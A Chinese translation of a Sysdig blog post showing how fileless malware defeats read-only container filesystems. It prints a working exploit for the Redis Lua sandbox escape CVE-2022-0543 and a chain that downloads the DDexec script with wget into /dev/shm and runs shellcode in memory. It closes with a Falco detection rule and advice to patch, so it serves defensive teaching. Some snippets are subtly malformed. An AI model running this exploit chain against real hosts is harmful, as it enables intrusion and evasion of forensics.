容器在普通主机上提供了一些无法简单获得的安全功能,其中之一是使容器的根文件系统为只读的能力。通过使文件系统不能被改变,它可以防止攻击者将他们的恶意软件可执行文件写入磁盘。大多数攻击都依靠写入文件来入侵,但复杂的案件使用无文件的恶意软件作为其恶意行为的一部分。防止合法应用程序受到影响也很重要,所以必须采取一些措施。
很多人认为只读文件系统是阻止容器环境中恶意活动和容器漂移的万能工具。本博客将探讨恶意软件无文件执行在攻击只读容器化环境中的机制和普遍性。
根据BridgeCrew的Kubernetes文档:
"使用不可变的根文件系统和经过验证的启动机制,可以防止攻击者通过永久性的本地更改来'拥有'机器。不可变的根文件系统还可以防止恶意的二进制文件写入主机系统"。
我们将展示一种攻击具有只读根文件系统的容器的方法,我们发现用在内存中执行的无文件恶意软件来攻击内存中的数据存储是很合适的。让我们开始吧!
设置场景
我们的目标环境是一个有漏洞的、最小的(coreutils + redis)Redis Docker镜像(vulhub/redis:5.0.7),确保传递--read-only标志以确保我们在攻击中保持无文件状态。
在Kubernetes上,这可以通过spec:containers:securityContext:readOnlyRootFilesystem:true来设置。
问题中的Redis服务存在CVE-2022-0543的漏洞,这是一个Lua沙盒逃逸。根据CVSS系统,它的严重程度为10.0分,即CRITICAL等级。
要了解更多关于漏洞评分的计算方法,漏洞评分会欺骗你吗?了解CVSS的严重性并有效使用它们。
Redis通过'eval'命令提供了在服务器端评估Lua脚本的能力。CVE-2022-0543允许攻击者逃脱Lua代码通常在其中执行的沙盒,这使得直接在主机上执行shell命令变得很容易。当攻击者加载liblua5.1.so.0共享对象文件(存在于Redis主机文件系统中)时,Lua沙盒逃逸被执行,从而获得对主机的访问权。
CVE-2022-0543附带一个概念验证(PoC)漏洞,我们将通过redis-cli测试。
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r"); -- this is our shell command to execute on the host
local res = f:read("*a"); f:close(); return res' 0
在有漏洞的容器上测试我们下面的PoC,它滥用了Lua沙盒转义来运行shell命令id。
在不接触磁盘的情况下攻击Redis
首先,让我们验证一下,我们确实被迫在系统中不创建任何新文件的情况下操作。我们将使用touch来尝试创建一个文件,然后用ls来验证它是否存在。
local f = io.popen("touch", "/tmp/abc123"); -- this is our shell command to create the file on the host
local f = io.popen("ls", "/tmp/"); -- this is our shell command to list the file on the host
我们可以看到,我们的触摸尝试是不成功的,没有文件/tmp/abc123,尽管我们尽力了。
无文件的恶意软件 - GTFObins和LOLBins
在反取证的世界里,防止你的恶意代码接触到磁盘可能是一个有效的方式来隐藏它,以避免后续调查。如果一个程序从一开始就没有被写入磁盘,那么磁盘取证就没有多大帮助。当然,它仍然会受到内存取证的影响。在Windows和Linux上,都存在着无文件的恶意软件,它们在内存中存储可执行文件,并通过做一点额外的努力来执行它。
在Windows领域,LOLBins(Living off the Land Binaries)已被使用多年,以隐蔽地实现攻击者的目标(无论是持久性、执行、远程访问等)。这些是微软签署的文件,要么是操作系统的原生文件,要么是从微软下载的,具有额外的 "意外 "功能。它们有合法用途,但也可以被攻击者利用。
例如,certutils.exe可以被攻击者用来下载恶意软件。Linux也有类似的安装工具,即GTFObins,但为了本文的目的,我们将使用一个高级例子。
早在2004年,无文件的恶意软件技术被公开发布,目标是Linux系统(userland exec(grugq),Linux代码注入无ptrace)。最近,西班牙研究员arget13分享了DDexec,他们对代码注入的看法,通过常见的Linux LOLBin(默认安装为GNU coreutils的一部分)dd。我们将使用ddexec来确保在不接触磁盘的情况下执行有效载荷(有一个额外的副作用,即不泄露进程名称)。
现在怎么办?我们如何将我们的 "恶意 "代码放到目标上?
/dev/shm来拯救我们!
输入:shm! 什什么?Shm(一个典型的简短的Linux内核开发者对共享内存的缩写)! 来自cyberciti.biz。
"shm / shmfs也被称为tmpfs,是许多类Unix操作系统中临时文件存储设施的通用名称。它的目的是作为一个挂载的文件系统出现,但它使用虚拟内存而不是持久性存储设备。"
好吧,那么我们如何使用它呢?这很简单。GNU coreutils附带了mktemp,这就是我们需要开始使用的全部。我们可以使用mktemp的-p标志来告诉它在/dev/shm中建立一个临时文件。
让我们这样做,并验证我们的 "文件 "是否达到了它的目的。我们将把我们的漏洞里面的shell命令从id改成。
TMPFILE=$(mktemp -p /dev/shm);
echo "derp" > $TMPFILE;
cat $TMPFILE
感谢tmpfs和shm,我们能够在一个拥有只读文件系统的容器内创建 "文件"!
让我们开始利用这个漏洞吧。
- 首先,我们将创建两个临时文件。一个用来存储脚本(ddsc.sh,DDexec仓库的一部分,它允许在内存中执行任意的shellcode),一个用来存储shellcode(我们需要一个单独的文件来存储shellcode,因为ddsc.sh希望从文件中获取输入)。
- 然后,我们将使用wget从GitHub下载我们的脚本到第一个临时文件,并使用echo将我们的shellcode写到第二个文件。对于概念验证的漏洞,我们将使用shellcode简单地打印 "Hello world/n "到标准输出。
DDEXEC=$(mktemp -p /dev/shm) SHELLCODE=$(mktemp -p /dev/shm);
wget -O - https://raw.githubusercontent.com/arget13/DDexec/main/ddsc.sh > $DDEXEC;
echo \"4831c0fec089c7488d3510000000ba0c0000000f054831c089c7b03c0f0548656c6c6f20776f726c640a00\" > $SHELLCODE;
bash $DDEXEC -x < $SHELLCODE
成功了! 我们已经完成了:
- 部署了我们的Redis漏洞
- 将我们的脚本和shellcode写入两个临时文件中
- 使用bash来执行我们的脚本,将shellcode作为输入。
- 规避了多种防御和检测(MITRE T1211)--进程列表(ps)和只读文件系统
用Falco检测内存中的攻击
即使有-只读保护标志,我们也证明了攻击者如何利用无文件的恶意软件技术找到新的利用方式。但显然,一切并没有失去。有一些关键因素可以帮助检测这种恶意行为。让我们看看如何用Falco实现这种检测。
Falco是CNCF的开源项目,用于检测意外的应用程序行为并在运行时发送警报。
你可以利用其强大而灵活的规则语言来匹配可疑的行为,以产生事件警报。它有一套预定义的规则,但你也可以根据自己的需要定制它们或创建新的规则,以满足你的需要。
下面是一个Falco规则的例子,它将检测上述用于颠覆只读根文件系统的技术。
- rule: Execution from /dev/shm
desc: This rule detects file execution from the /dev/shm directory, a common location for threat actors to stash their readable + writable + (sometimes) executable files.
condition: evt.type=execve and evt.dir=< and ((proc.exe startswith '/dev/shm' or (proc.cwd startswith /dev/shm and proc.exe startswith ./ )) or (proc.name in (ash,zsh,bash,sh,fish) and proc.args contains "/dev/shm"))
output: "File execution detected from /dev/shm (proc.cmdline=%proc.cmdline image=%container.image.repository)"
priority: WARNING
tags: [mitre_execution]
在加载了这个新的Falco规则后,我们现在能够检测到/dev/shm中文件的执行,并产生警报。
结论
我们已经证明,在根文件系统设置为只读的情况下运行的容器与没有设置的容器一样容易受到攻击。只读文件系统不会提供足够的保护,以减轻通过无文件恶意软件技术利用的所有漏洞。
由于/dev/shm,我们能够使 "文件 "由内存而不是磁盘空间支持,我们可以用它来下载额外的恶意软件并进一步破坏系统。如果你正在运行由现在许多漏洞扫描器之一识别出的有漏洞的容器,请尽快打补丁。
本文为翻译文章,原文链接:https://sysdig.com/blog/containers-read-only-fileless-malware/